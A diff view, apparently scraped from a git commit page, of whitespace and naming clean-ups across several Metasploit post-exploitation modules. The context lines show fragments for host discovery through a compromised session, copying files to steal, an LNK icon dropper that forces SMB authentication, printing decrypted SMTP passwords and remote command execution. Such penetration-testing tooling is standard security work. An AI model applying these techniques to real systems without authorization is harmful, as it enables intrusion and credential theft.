||||
session.fs.dir.foreach(purpledir) do |dir|
|
||||
if dir =~ /\.purple/
|
||||
|
|
|
@ -81,14 +81,14 @@ class Metasploit3 < Msf::Post
|
|||
ip_found = []
|
||||
|
||||
while(not iplst.nil? and not iplst.empty?)
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||
next if ip_add.nil?
|
||||
if platform =~ /solaris/i
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||
next if ip_add.nil?
|
||||
if platform =~ /solaris/i
|
||||
r = cmd_exec(cmd, "-n #{ip_add} 1")
|
||||
else
|
||||
else
|
||||
r = cmd_exec(cmd, count + ip_add)
|
||||
end
|
||||
end
|
||||
if r =~ /(TTL|Alive)/i
|
||||
print_status "\t#{ip_add} host found"
|
||||
ip_found << ip_add
|
||||
|
@ -96,9 +96,9 @@ class Metasploit3 < Msf::Post
|
|||
vprint_status("\t#{ip_add} host not found")
|
||||
end
|
||||
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
end
|
||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Post
|
|||
#
|
||||
# Make a copy of the file we want to convert and steal
|
||||
#
|
||||
fpath = "#{base}#{file}"
|
||||
fpath = "#{base}#{file}"
|
||||
rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
|
||||
tmp = exec("cp #{fpath} #{rand_name}")
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Escalate SMB Icon LNK dropper',
|
||||
'Name' => 'Windows Escalate SMB Icon LNK Dropper',
|
||||
'Description' => %q{
|
||||
This module drops a shortcut (LNK file) that has a ICON reference
|
||||
existing on the specified remote host, causing SMB and WebDAV
|
||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post
|
|||
while(not iplst.nil? and not iplst.empty?)
|
||||
1.upto(threads) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_text|
|
||||
next if ip_text.nil?
|
||||
next if ip_text.nil?
|
||||
h = ws.inet_addr(ip_text)
|
||||
ip = h["return"]
|
||||
h = iphlp.SendARP(ip,0,6,6)
|
||||
|
|
|
@ -188,7 +188,7 @@ class Metasploit3 < Msf::Post
|
|||
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
|
||||
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
|
||||
end
|
||||
|
||||
|
||||
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
|
||||
if smtp_use_ssl == nil
|
||||
print_status(" SMTP Use SSL: No")
|
||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Run Specified WMIC command',
|
||||
'Name' => 'Windows Gather Run Specified WMIC Command',
|
||||
'Description' => %q{ This module will execute a given WMIC command options or read
|
||||
WMIC commands options from a resource file and execute the commands in the
|
||||
specified Meterpreter session.},
|
||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post
|
|||
register_advanced_options(
|
||||
[
|
||||
OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
|
||||
OptInt.new('EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]),
|
||||
OptInt.new('EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]),
|
||||
OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]),
|
||||
], self.class)
|
||||
|
||||
|
|
Loading…
Reference in New Issue